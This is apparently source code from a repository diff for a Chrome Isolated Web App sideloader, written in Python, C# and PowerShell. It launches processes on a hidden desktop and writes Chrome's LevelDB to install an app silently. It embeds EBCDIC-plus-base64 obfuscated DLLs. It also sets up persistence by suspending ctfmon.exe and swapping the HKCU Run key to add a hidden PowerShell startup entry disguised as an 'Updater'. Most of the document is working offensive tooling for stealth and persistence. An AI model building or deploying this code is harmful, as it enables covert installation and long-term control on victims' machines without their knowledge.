print(f"\n🎉 Build completed successfully!")
print(f"📄 Generated: {output_file}")
print(f"\nTo deploy the extension, run:")
print(f" powershell -ExecutionPolicy Bypass -File {output_file}")
except Exception as e:
print(f"❌ Error: {e}", file=sys.stderr)
sys.exit(1)
if __name__ == "__main__":
main()
@@ -0,0 +1,232 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Management.Automation;
using System.ComponentModel;
namespace ProcessHelper
{
[Cmdlet(VerbsLifecycle.Start, "ProcessOnDesktop")]
public class StartProcessOnDesktopCommand : PSCmdlet
{
[Parameter(Mandatory = true, Position = 0)]
public string ProcessPath { get; set; }
[Parameter(Position = 1)]
public string ProcessArgs { get; set; } = "";
[Parameter(Position = 2)]
public string DesktopName { get; set; } = "Desktop_" + Guid.NewGuid().ToString("N");
protected override void ProcessRecord()
{
try
{
WriteVerbose($"Attempting to create process '{ProcessPath}' on desktop '{DesktopName}'");
Process process = ProcessHelper.CreateProcessOnDesktop(ProcessPath, ProcessArgs, DesktopName);
if (process != null)
{
WriteObject(process);
}
else
{
int errorCode = Marshal.GetLastWin32Error();
string errorMessage = new Win32Exception(errorCode).Message;
WriteError(new ErrorRecord(
new Exception($"Failed to create process on desktop. Error: {errorMessage} (Code: {errorCode})"),
"ProcessCreationFailed",
ErrorCategory.OperationStopped,
null));
}
}
catch (Exception ex)
{
WriteError(new ErrorRecord(
ex,
"UnexpectedError",
ErrorCategory.NotSpecified,
null));
}
}
}
public static class ProcessHelper
{
// Windows API imports
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr CreateDesktopEx(
string lpszDesktop,
IntPtr lpszDevice,
IntPtr pDevmode,
int dwFlags,
uint dwDesiredAccess,
IntPtr lpsa,
ulong heapSize,
IntPtr pvoid);
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr OpenDesktopA(
string lpszDesktop,
uint dwFlags,
bool fInherit,
uint dwDesiredAccess);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CloseDesktop(IntPtr hDesktop);
[DllImport("kernel32.dll")]
private static extern uint GetCurrentThreadId();
[DllImport("user32.dll", SetLastError = true)]
private static extern IntPtr GetThreadDesktop(uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
ref PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
private static extern uint GetLastError();
// Structures for CreateProcess
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
// Constants
private const uint DESKTOP_CREATEWINDOW = 0x0002;
private const uint DESKTOP_ENUMERATE = 0x0040;
private const uint DESKTOP_WRITEOBJECTS = 0x0080;
private const uint DESKTOP_SWITCHDESKTOP = 0x0100;
private const uint DESKTOP_CREATEMENU = 0x0004;
private const uint DESKTOP_HOOKCONTROL = 0x0008;
private const uint DESKTOP_READOBJECTS = 0x0001;
private const uint DESKTOP_JOURNALRECORD = 0x0010;
private const uint DESKTOP_JOURNALPLAYBACK = 0x0020;
private const uint GENERIC_ALL = 0x10000000;
private const uint CREATE_NEW_CONSOLE = 0x00000010;
private const uint NORMAL_PRIORITY_CLASS = 0x00000020;
private const uint STARTF_USESHOWWINDOW = 0x00000001;
private const ushort SW_HIDE = 0;
public static Process CreateProcessOnDesktop(string processPath, string processArgs, string desktopName)
{
// Define desktop access rights
uint ACCESS = DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS |
DESKTOP_SWITCHDESKTOP | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL |
DESKTOP_READOBJECTS | DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK |
GENERIC_ALL;
// Create or open the desktop
IntPtr desktopHandle = CreateDesktopEx(
desktopName,
IntPtr.Zero,
IntPtr.Zero,
0,
ACCESS,
IntPtr.Zero,
0,
IntPtr.Zero
);
if (desktopHandle == IntPtr.Zero)
{
// Try to open existing desktop
desktopHandle = OpenDesktopA(desktopName, 0, true, ACCESS);
if (desktopHandle == IntPtr.Zero)
{
// Failed to create or open desktop
return null;
}
}
// Prepare to create process
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(typeof(STARTUPINFO));
si.lpDesktop = desktopName;
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// Create the process - use the command line parameter correctly
string commandLine = string.IsNullOrEmpty(processArgs) ? processPath : $"\"{processPath}\" {processArgs}";
bool success = CreateProcess(
null, // Use command line instead of application name
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_NEW_CONSOLE | NORMAL_PRIORITY_CLASS,
IntPtr.Zero,
null,
ref si,
ref pi
);
if (!success)
{
// Failed to create process
CloseDesktop(desktopHandle);
return null;
}
// Create a Process object from the process ID
Process process = null;
try
{
process = Process.GetProcessById((int)pi.dwProcessId);
}
catch
{
// Failed to get process
CloseDesktop(desktopHandle);
return null;
}
return process;
}
}
}
@@ -0,0 +1,55 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>netstandard2.0</TargetFramework>
<EnableDefaultCompileItems>false</EnableDefaultCompileItems>
<!-- Explicitly set the assembly name -->
<AssemblyName>ProcessHelper</AssemblyName>
<!-- Disable PDB generation -->
<DebugType>none</DebugType>
<DebugSymbols>false</DebugSymbols>
<!-- Intermediate output path (will still have netstandard2.0 folder) -->
<OutputPath>obj</OutputPath>
<!-- Clean output directory on build -->
<CleanOutputPath>true</CleanOutputPath>
<!-- Don't generate deps.json and other files -->
<GenerateDependencyFile>false</GenerateDependencyFile>
<CopyLocalLockFileAssemblies>false</CopyLocalLockFileAssemblies>
<GenerateRuntimeConfigurationFiles>false</GenerateRuntimeConfigurationFiles>
<!-- Suppress warnings about missing XML documentation -->
<NoWarn>1591</NoWarn>
<!-- Define the final output directory -->
<FinalOutputPath>dist</FinalOutputPath>
</PropertyGroup>
<ItemGroup>
<Compile Include="ProcessHelper.cs" />
<PackageReference Include="PowerShellStandard.Library" Version="5.1.0" />
</ItemGroup>
<!-- Custom target to copy the DLL to the final location without netstandard2.0 folder -->
<Target Name="CopyToFinalOutput" AfterTargets="Build">
<!-- Create the final output directory if it doesn't exist -->
<MakeDir Directories="$(FinalOutputPath)" />
<!-- Copy the DLL to the final output directory -->
<Copy SourceFiles="$(OutputPath)\$(AssemblyName).dll"
DestinationFolder="$(FinalOutputPath)" />
<!-- Optional: Display a message -->
<Message Text="DLL copied to $(FinalOutputPath)\$(AssemblyName).dll" Importance="high" />
</Target>
<!-- Custom target to clean up the obj folder after successful build and copy -->
<Target Name="CleanupObjFolder" AfterTargets="CopyToFinalOutput">
<!-- Delete the obj folder -->
<RemoveDir Directories="obj" />
<Message Text="Cleaned up obj folder" Importance="high" />
</Target>
</Project>
@@ -0,0 +1,431 @@
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Management.Automation;
using System.ComponentModel;
using System.Text;
namespace RegHelper
{
[Cmdlet(VerbsLifecycle.Invoke, "RegistryPersistence")]
public class InvokeRegistryPersistenceCommand : PSCmdlet
{
[Parameter(Mandatory = true, Position = 0)]
public string PersistenceValueName { get; set; }
[Parameter(Mandatory = true, Position = 1)]
public string PersistenceValueData { get; set; }
protected override void ProcessRecord()
{
try
{
WriteHost("Copy-and-Replace Registry Strategy Script", ConsoleColor.Cyan);
WriteHost(new string('=', 45), ConsoleColor.Cyan);
// Define paths and values
string parentKeyPath = @"Software\Microsoft\Windows\CurrentVersion";
string originalKeyName = "Run";
string newKeyName = "Compatibility Mode Startup";
string backupKeyName = "Compatibility Mode Backup";
// Step 0: Suspend ctfmon.exe processes
WriteHost("\nStep 0: Suspending ctfmon.exe process...", ConsoleColor.Green);
var suspendedProcesses = ProcessSuspender.SuspendCtfmonProcesses(WriteHost, WriteWarning);
try
{
// Step 1: Open the parent registry key
WriteHost("\nStep 1: Opening parent registry key...", ConsoleColor.Green);
UIntPtr parentKeyHandle = UIntPtr.Zero;
int result = RegistryAPI.RegOpenKeyEx(
RegistryAPI.HKEY_CURRENT_USER,
parentKeyPath,
0,
RegistryAPI.KEY_ALL_ACCESS,
out parentKeyHandle
);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to open parent registry key. Error code: {result}");
}
WriteHost("Parent key opened successfully.", ConsoleColor.Green);
try
{
// Step 2: Create the new RunNew key
WriteHost($"\nStep 2: Creating '{newKeyName}' key...", ConsoleColor.Green);
UIntPtr newKeyHandle = UIntPtr.Zero;
uint disposition = 0;
result = RegistryAPI.RegCreateKeyEx(
parentKeyHandle,
newKeyName,
0,
null,
RegistryAPI.REG_OPTION_NON_VOLATILE,
RegistryAPI.KEY_ALL_ACCESS,
IntPtr.Zero,
out newKeyHandle,
out disposition
);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to create '{newKeyName}' key. Error code: {result}");
}
WriteHost($"'{newKeyName}' key created successfully.", ConsoleColor.Green);
// Step 3: Open the original Run key for reading
WriteHost($"\nStep 3: Opening original '{originalKeyName}' key for copying...", ConsoleColor.Green);
UIntPtr originalKeyHandle = UIntPtr.Zero;
result = RegistryAPI.RegOpenKeyEx(
parentKeyHandle,
originalKeyName,
0,
RegistryAPI.KEY_ALL_ACCESS,
out originalKeyHandle
);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to open original '{originalKeyName}' key. Error code: {result}");
}
WriteHost($"'{originalKeyName}' key opened for copying.", ConsoleColor.Green);
try
{
// Step 4: Copy all values from Run to RunNew
WriteHost($"\nStep 4: Copying values from '{originalKeyName}' to '{newKeyName}' using native APIs...", ConsoleColor.Green);
int valueCount = CopyRegistryValues(originalKeyHandle, newKeyHandle);
WriteHost($"Copied {valueCount} values using native APIs.", ConsoleColor.Green);
// Step 5: Add our new persistence value to RunNew
WriteHost($"\nStep 5: Adding new value to '{newKeyName}'...", ConsoleColor.Green);
WriteHost($"Name: {PersistenceValueName}", ConsoleColor.Cyan);
WriteHost($"Value: {PersistenceValueData}", ConsoleColor.Cyan);
byte[] valueDataBytes = Encoding.Unicode.GetBytes(PersistenceValueData + "\0");
result = RegistryAPI.RegSetValueEx(
newKeyHandle,
PersistenceValueName,
0,
RegistryAPI.REG_SZ,
valueDataBytes,
valueDataBytes.Length
);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to set new registry value '{PersistenceValueName}'. Error code: {result}");
}
WriteHost($"New value added successfully to '{newKeyName}'.", ConsoleColor.Green);
}
finally
{
// Close the original Run key handle
RegistryAPI.RegCloseKey(originalKeyHandle);
}
// Close the RunNew key handle before renaming operations
RegistryAPI.RegCloseKey(newKeyHandle);
// Step 6: Rename Run to RunBackup
WriteHost($"\nStep 6: Renaming '{originalKeyName}' to '{backupKeyName}'...", ConsoleColor.Green);
result = RegistryAPI.RegRenameKey(parentKeyHandle, originalKeyName, backupKeyName);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to rename '{originalKeyName}' to '{backupKeyName}'. Error code: {result}");
}
WriteHost($"'{originalKeyName}' renamed to '{backupKeyName}' successfully.", ConsoleColor.Green);
// Step 7: Rename RunNew to Run
WriteHost($"\nStep 7: Renaming '{newKeyName}' to '{originalKeyName}'...", ConsoleColor.Green);
result = RegistryAPI.RegRenameKey(parentKeyHandle, newKeyName, originalKeyName);
if (result != RegistryAPI.ERROR_SUCCESS)
{
throw new Exception($"Failed to rename '{newKeyName}' to '{originalKeyName}'. Error code: {result}");
}
WriteHost($"'{newKeyName}' renamed to '{originalKeyName}' successfully.", ConsoleColor.Green);
}
finally
{
// Close the parent key handle
RegistryAPI.RegCloseKey(parentKeyHandle);
}
}
finally
{
// Resume ctfmon.exe processes
ProcessSuspender.ResumeCtfmonProcesses(suspendedProcesses, WriteHost, WriteWarning);
}
WriteHost("\n" + new string('=', 45), ConsoleColor.Cyan);
WriteHost("Script completed successfully!", ConsoleColor.Green);
WriteHost("The persistence entry has been added using copy-replace strategy.", ConsoleColor.Yellow);
WriteHost("The application will now start automatically when Windows starts.", ConsoleColor.Yellow);
}
catch (Exception ex)
{
WriteError(new ErrorRecord(
ex,
"RegistryPersistenceError",
ErrorCategory.OperationStopped,
null));
throw;
}
}
private int CopyRegistryValues(UIntPtr originalKeyHandle, UIntPtr newKeyHandle)
{
int index = 0;
int valueCount = 0;
while (true)
{
StringBuilder valueName = new StringBuilder(256);
int valueNameSize = 256;
int valueType = 0;
int dataSize = 0;
// Get value name and size
int result = RegistryAPI.RegEnumValue(
originalKeyHandle,
index,
valueName,
ref valueNameSize,
IntPtr.Zero,
out valueType,
IntPtr.Zero,
ref dataSize
);
if (result == RegistryAPI.ERROR_NO_MORE_ITEMS)
{
break;
}
if (result != RegistryAPI.ERROR_SUCCESS)
{
WriteWarning($"Failed to enumerate value at index {index}. Error: {result}");
index++;
continue;
}
// Allocate buffer for value data
IntPtr dataBuffer = Marshal.AllocHGlobal(dataSize);
try
{
// Get the actual value data
result = RegistryAPI.RegQueryValueEx(
originalKeyHandle,
valueName.ToString(),
IntPtr.Zero,
out valueType,
dataBuffer,
ref dataSize
);
if (result == RegistryAPI.ERROR_SUCCESS)
{
// Set the value in the new key
int setResult = RegistryAPI.RegSetValueEx(
newKeyHandle,
valueName.ToString(),
0,
valueType,
dataBuffer,
dataSize
);
if (setResult == RegistryAPI.ERROR_SUCCESS)
{
WriteHost($" Copied: {valueName.ToString()}", ConsoleColor.Gray);
valueCount++;
}
else
{
WriteWarning($"Failed to set value '{valueName.ToString()}'. Error: {setResult}");
}
}
}
finally
{
Marshal.FreeHGlobal(dataBuffer);
}
index++;
}
return valueCount;
}
private void WriteHost(string message, ConsoleColor color)
{
Host.UI.WriteLine(color, Host.UI.RawUI.BackgroundColor, message);
}
private void WriteHost(string message)
{
Host.UI.WriteLine(message);
}
}
public static class RegistryAPI
{
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegOpenKeyEx(
UIntPtr hKey,
string subKey,
uint options,
uint samDesired,
out UIntPtr phkResult);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegCreateKeyEx(
UIntPtr hKey,
string lpSubKey,
uint Reserved,
string lpClass,
uint dwOptions,
uint samDesired,
IntPtr lpSecurityAttributes,
out UIntPtr phkResult,
out uint lpdwDisposition);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegRenameKey(
UIntPtr hKey,
string lpSubKeyName,
string lpNewKeyName);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegSetValueEx(
UIntPtr hKey,
string lpValueName,
int Reserved,
int dwType,
byte[] lpData,
int cbData);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegSetValueEx(
UIntPtr hKey,
string lpValueName,
int Reserved,
int dwType,
IntPtr lpData,
int cbData);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegEnumValue(
UIntPtr hKey,
int dwIndex,
StringBuilder lpValueName,
ref int lpcchValueName,
IntPtr lpReserved,
out int lpType,
IntPtr lpData,
ref int lpcbData);
[DllImport("advapi32.dll", CharSet = CharSet.Auto)]
public static extern int RegQueryValueEx(
UIntPtr hKey,
string lpValueName,
IntPtr lpReserved,
out int lpType,
IntPtr lpData,
ref int lpcbData);
[DllImport("advapi32.dll")]
public static extern int RegCloseKey(UIntPtr hKey);
public static readonly UIntPtr HKEY_CURRENT_USER = (UIntPtr)0x80000001;
public const int KEY_ALL_ACCESS = 0xF003F;
public const int REG_SZ = 1;
public const int ERROR_SUCCESS = 0;
public const int ERROR_NO_MORE_ITEMS = 259;
public const int REG_OPTION_NON_VOLATILE = 0;
}
public static class ProcessSuspender
{
[DllImport("ntdll.dll", PreserveSig = false)]
public static extern void NtSuspendProcess(IntPtr processHandle);
[DllImport("ntdll.dll", PreserveSig = false)]
public static extern void NtResumeProcess(IntPtr processHandle);
public static Process[] SuspendCtfmonProcesses(
Action<string, ConsoleColor> writeHost,
Action<string> writeWarning)
{
var ctfmonProcesses = Process.GetProcessesByName("ctfmon");
var suspendedProcesses = new Process[ctfmonProcesses.Length];
if (ctfmonProcesses.Length > 0)
{
for (int i = 0; i < ctfmonProcesses.Length; i++)
{
var process = ctfmonProcesses[i];
try
{
writeHost($"Suspending ctfmon.exe (PID: {process.Id})", ConsoleColor.Gray);
NtSuspendProcess(process.Handle);
suspendedProcesses[i] = process;
}
catch (Exception ex)
{
writeWarning($"Failed to suspend ctfmon.exe process (PID: {process.Id}): {ex.Message}");
}
}
writeHost("ctfmon.exe processes suspended.", ConsoleColor.Green);
}
else
{
writeHost("No ctfmon.exe processes found running.", ConsoleColor.Gray);
}
return suspendedProcesses;
}
public static void ResumeCtfmonProcesses(
Process[] suspendedProcesses,
Action<string, ConsoleColor> writeHost,
Action<string> writeWarning)
{
writeHost("\nResuming ctfmon.exe processes...", ConsoleColor.Green);
int resumedCount = 0;
foreach (var process in suspendedProcesses)
{
if (process != null)
{
try
{
if (!process.HasExited)
{
NtResumeProcess(process.Handle);
writeHost($"Resumed ctfmon.exe (PID: {process.Id})", ConsoleColor.Gray);
resumedCount++;
}
}
catch (Exception ex)
{
writeWarning($"Failed to resume ctfmon.exe process (PID: {process.Id}): {ex.Message}");
}
}
}
if (resumedCount > 0)
{
writeHost("ctfmon.exe processes resumed.", ConsoleColor.Green);
}
}
}
}
@@ -0,0 +1,55 @@
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>netstandard2.0</TargetFramework>
<EnableDefaultCompileItems>false</EnableDefaultCompileItems>
<!-- Explicitly set the assembly name -->
<AssemblyName>RegHelper</AssemblyName>
<!-- Disable PDB generation -->
<DebugType>none</DebugType>
<DebugSymbols>false</DebugSymbols>
<!-- Intermediate output path (will still have netstandard2.0 folder) -->
<OutputPath>obj</OutputPath>
<!-- Clean output directory on build -->
<CleanOutputPath>true</CleanOutputPath>
<!-- Don't generate deps.json and other files -->
<GenerateDependencyFile>false</GenerateDependencyFile>
<CopyLocalLockFileAssemblies>false</CopyLocalLockFileAssemblies>
<GenerateRuntimeConfigurationFiles>false</GenerateRuntimeConfigurationFiles>
<!-- Suppress warnings about missing XML documentation -->
<NoWarn>1591</NoWarn>
<!-- Define the final output directory -->
<FinalOutputPath>dist</FinalOutputPath>
</PropertyGroup>
<ItemGroup>
<Compile Include="RegHelper.cs" />
<PackageReference Include="PowerShellStandard.Library" Version="5.1.0" />
</ItemGroup>
<!-- Custom target to copy the DLL to the final location without netstandard2.0 folder -->
<Target Name="CopyToFinalOutput" AfterTargets="Build">
<!-- Create the final output directory if it doesn't exist -->
<MakeDir Directories="$(FinalOutputPath)" />
<!-- Copy the DLL to the final output directory -->
<Copy SourceFiles="$(OutputPath)\$(AssemblyName).dll"
DestinationFolder="$(FinalOutputPath)" />
<!-- Optional: Display a message -->
<Message Text="DLL copied to $(FinalOutputPath)\$(AssemblyName).dll" Importance="high" />
</Target>
<!-- Custom target to clean up the obj folder after successful build and copy -->
<Target Name="CleanupObjFolder" AfterTargets="CopyToFinalOutput">
<!-- Delete the obj folder -->
<RemoveDir Directories="obj" />
<Message Text="Cleaned up obj folder" Importance="high" />
</Target>
</Project>
+339
View File
@@ -0,0 +1,339 @@
import os
import sys
import json
import base64
import argparse
import re
from datetime import datetime
import random
import uuid
from reference.bundleParser import parse_signed_web_bundle_header, extract_manifest_from_bundle
from reference.getAppId import create_web_bundle_id_from_public_key, get_chrome_app_id
from reference.protobufUpdater import parse_protobuf, update_with_origin
import binascii
IWA_APP_NAME = "DOORKNOB"
def generate_protobuf(bundle_path):
"""Generate protobuf data using information from manifest and bundle."""
# Read manifest from bundle
manifest = extract_manifest_from_bundle(bundle_path)
APP_NAME = manifest['name']
VERSION = manifest['version']
# Parse bundle to get signature and public key
bundle_info = parse_signed_web_bundle_header(bundle_path)
PUBLIC_KEY = bundle_info['public_key']
SIGNATURE_INFO = bundle_info['signature']
# Generate IDs from public key
web_bundle_id = create_web_bundle_id_from_public_key(base64.b64decode(PUBLIC_KEY))
ORIGIN = f"isolated-app://{web_bundle_id}"
APP_ID = get_chrome_app_id(PUBLIC_KEY)
# Generate other required values
INSTALL_TIME = int(datetime.now().timestamp())
IWA_FOLDER_NAME = "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))
# Print information
print("Generated values:")
print(f"APP_NAME: {APP_NAME}")
print(f"VERSION: {VERSION}")
print(f"ORIGIN: {ORIGIN}")
print(f"APP_ID: {APP_ID}")
print(f"PUBLIC_KEY: {PUBLIC_KEY}")
print(f"SIGNATURE_INFO: {SIGNATURE_INFO}")
print(f"IWA_FOLDER_NAME: {IWA_FOLDER_NAME}")
# Read template protobuf
script_dir = os.path.dirname(os.path.abspath(__file__))
template_path = os.path.join(script_dir, "reference", "app.pb")
with open(template_path, 'rb') as f:
template_data = f.read()
# Parse and update protobuf
message = parse_protobuf(template_data)
# Convert string values to bytes for length-delimited fields
def to_bytes(s: str) -> bytes:
return s.encode('utf-8')
# Track jitter count for field 59.1.3.2
jitter_count = 0
def add_jitter(base_time: int, _) -> int:
nonlocal jitter_count
jitter_count += 1
return base_time + jitter_count + random.randint(5, 10)
# Perform field updates
updates = [
([1, 1], to_bytes(f"{ORIGIN}/")),
([1, 2], to_bytes(APP_NAME)),
([1, 5], to_bytes(f"{ORIGIN}/")),
([1, 6, 2], ORIGIN, update_with_origin),
([2], to_bytes(APP_NAME)),
([6], to_bytes(f"{ORIGIN}/")),
([10, 2], ORIGIN, update_with_origin),
([16], INSTALL_TIME),
([30], ORIGIN, update_with_origin),
([49, 2], to_bytes(ORIGIN)),
([59, 1, 3, 2], INSTALL_TIME, add_jitter),
([59, 1, 1], to_bytes(APP_NAME)),
([59, 5, 2], to_bytes(APP_NAME)),
([60, 1, 1], to_bytes(IWA_FOLDER_NAME)),
([60, 6], to_bytes(VERSION)),
([60, 7, 1, 1, 1], to_bytes(PUBLIC_KEY)),
([60, 7, 1, 1, 2], to_bytes(SIGNATURE_INFO)),
([64], INSTALL_TIME),
]
for field_path, value, *transform in updates:
message.update_field(field_path, value, transform[0] if transform else None)
# Serialize
serialized = message.serialize()
hex_output = binascii.hexlify(serialized).decode('ascii')
return hex_output, APP_ID, IWA_FOLDER_NAME
def encode_dll_to_ebcdic_base64(file_path):
"""
Reads a DLL file, encodes it using EBCDIC encoding, then base64 encodes it.
Args:
file_path: Path to the DLL file
Returns:
Base64 encoded string of the EBCDIC encoded DLL
"""
try:
# Check if file exists
if not os.path.exists(file_path):
print(f"Error: File not found at {file_path}", file=sys.stderr)
return None
# Read the binary content of the DLL
with open(file_path, 'rb') as file:
dll_bytes = file.read()
# Convert binary to EBCDIC encoding
# Using cp037 which is the Python codec for EBCDIC (US/Canada)
ebcdic_encoded = dll_bytes.decode('latin-1').encode('cp037')
# Base64 encode the EBCDIC encoded bytes
base64_encoded = base64.b64encode(ebcdic_encoded).decode('ascii')
return base64_encoded
except Exception as e:
print(f"Error: {str(e)}", file=sys.stderr)
return None
def generate_powershell_script(bundle_path, output_path, app_name=None):
"""Generate the PowerShell sideloader script."""
# Use provided app_name if available, otherwise use default
global IWA_APP_NAME
if app_name:
IWA_APP_NAME = app_name
print(f"Using custom app name: {IWA_APP_NAME}")
# Read the bundle file as base64
with open(bundle_path, 'rb') as f:
bundle_data = base64.b64encode(f.read()).decode('ascii')
# Generate protobuf and get required values
protobuf_hex, app_id, iwa_folder_name = generate_protobuf(bundle_path)
# Generate a GUID for the desktop name
desktop_guid = str(uuid.uuid4())
# Read the template files
script_dir = os.path.dirname(os.path.abspath(__file__))
with open(os.path.join(script_dir, 'initializeIWAChrome.ps1'), 'r') as f:
init_script = f.read()
with open(os.path.join(script_dir, 'writeLevelDb.ps1'), 'r') as f:
leveldb_script = f.read()
# Read the HiddenDesktopNative DLL and encode as base64
dll_path = os.path.join(script_dir, 'HiddenDesktopNative', 'dist', 'ProcessHelper.dll')
with open(dll_path, 'rb') as f:
dll_data = encode_dll_to_ebcdic_base64(dll_path)
# Read the RegHelper DLL and encode as base64
reghelper_dll_path = os.path.join(script_dir, 'RegHelper', 'dist', 'RegHelper.dll')
with open(reghelper_dll_path, 'rb') as f:
reghelper_dll_data = encode_dll_to_ebcdic_base64(reghelper_dll_path)
# Read the memory DLL loader script
with open(os.path.join(script_dir, 'decodeAndLoadModule.ps1'), 'r') as f:
module_loader_script = f.read()
# Read the Chrome IWA Start Script
with open(os.path.join(script_dir, 'startIWAApp.ps1'), 'r') as f:
start_script = f.read()
# Create the combined script
script = f"""
# Generated IWA Sideloader Script
# App ID: {app_id}
# App Name: {IWA_APP_NAME}
# IWA Folder: {iwa_folder_name}
$env:APP_NAME = "{IWA_APP_NAME}"
$bundleData = @"
{bundle_data}
"@
# Extract the ProcessHelper.dll to the current directory
$assemblyName = "ProcessHelper"
$assemblyBytesBase64 = @"
{dll_data}
"@
# RegHelper.dll data for registry operations
$regHelperAssemblyBytesBase64 = @"
{reghelper_dll_data}
"@
# Create Directory at $appPath
$appPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
New-Item -Path $appPath -ItemType Directory -Force
# Include the module loader script
{module_loader_script}
# Use a shared desktop name for both Chrome instances
$sharedDesktopName = "Desktop_{desktop_guid}"
Write-Host "Using shared hidden desktop: $sharedDesktopName"
# Call the function to decode and load the ProcessHelper module
$dllPath = Join-Path $appPath "ProcessHelper.dll"
$moduleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $assemblyBytesBase64 -dllPath $dllPath
if (-not $moduleLoaded) {{
Write-Error "Failed to load the ProcessHelper module. Exiting."
exit 1
}}
# Decode and load the RegHelper module
$regHelperDllPath = Join-Path $appPath "RegHelper.dll"
$regHelperModuleLoaded = Decode-And-Load-Module -assemblyBytesBase64 $regHelperAssemblyBytesBase64 -dllPath $regHelperDllPath
if (-not $regHelperModuleLoaded) {{
Write-Error "Failed to load the RegHelper module. Exiting."
exit 1
}}
# First initialize Chrome with IWA settings
{init_script}
# Then handle LevelDB operations
{leveldb_script}
# Move ProcessHelper.dll to the app directory
Move-Item -Path $dllPath -Destination $appPath
# Move RegHelper.dll to the app directory
Move-Item -Path $regHelperDllPath -Destination $appPath
# Override Initialize-IWADirectory to use embedded bundle data
function Initialize-IWADirectory {{
param (
[Parameter(Mandatory=$true)]
[string]$AppInternalName
)
$userDataDir = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$iwaDir = Join-Path $userDataDir "Default\\iwa\\$AppInternalName"
# Create directories if they don't exist
New-Item -ItemType Directory -Force -Path $iwaDir | Out-Null
# Write bundle data
$bundleBytes = [Convert]::FromBase64String($bundleData)
[System.IO.File]::WriteAllBytes((Join-Path $iwaDir "main.swbn"), $bundleBytes)
}}
# Initialize IWA directory
Initialize-IWADirectory -AppInternalName "{iwa_folder_name}"
# Write LevelDB entry
$logPath = Get-LevelDBLogFilePath
Write-Output "Log Path: $logPath"
Write-LevelDBEntry -FilePath $logPath -SequenceNumber 99 -Key "web_apps-dt-{app_id}" -ValueHex "{protobuf_hex}"
Write-Output "Launching Chrome for IWA ({app_id}) at Path $env:CHROME_PATH"
$env:IWA_APP_ID = "{app_id}"
# Prepare the start script with proper variable handling
$startScriptPath = Join-Path $env:LOCALAPPDATA $env:APP_NAME
$startScriptPath = Join-Path $startScriptPath "startIWAApp.ps1"
# Create the script content as a simple string
$startScriptContent = "# Environment variables for IWA app `n"
$startScriptContent += "`$env:CHROME_PATH = `"$env:CHROME_PATH`" `n"
$startScriptContent += "`$env:USER_DATA_DIR = `"$env:USER_DATA_DIR`" `n"
$startScriptContent += "`$env:APP_NAME = `"$env:APP_NAME`" `n"
$startScriptContent += "`$env:IWA_APP_ID = `"$env:IWA_APP_ID`" `n"
$startScriptContent += "`$sharedDesktopName = `"$sharedDesktopName`" `n"
$startScriptContent += "`n# Start script content`n"
$startScriptContent += @'
{start_script}
'@
Write-Host "Writing start script to: $startScriptPath"
[System.IO.File]::WriteAllText($startScriptPath, $startScriptContent)
# Now run the start script
Write-Host "Running the IWA app..."
& $startScriptPath
# Setup persistence using the RegHelper module
Write-Host "`nSetting up persistence using copy-and-replace registry strategy..." -ForegroundColor Cyan
# Define persistence parameters
$persistenceValueName = "{IWA_APP_NAME}.Updater"
$persistenceValueData = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File `"$startScriptPath`""
# Execute the persistence setup using the RegHelper module
try {{
Invoke-RegistryPersistence -PersistenceValueName $persistenceValueName -PersistenceValueData $persistenceValueData
}} catch {{
Write-Error "Failed to setup persistence: $($_.Exception.Message)"
throw
}}
"""
with open(output_path, 'w') as f:
f.write(script)
print(f"\nGenerated sideloader script: {output_path}")
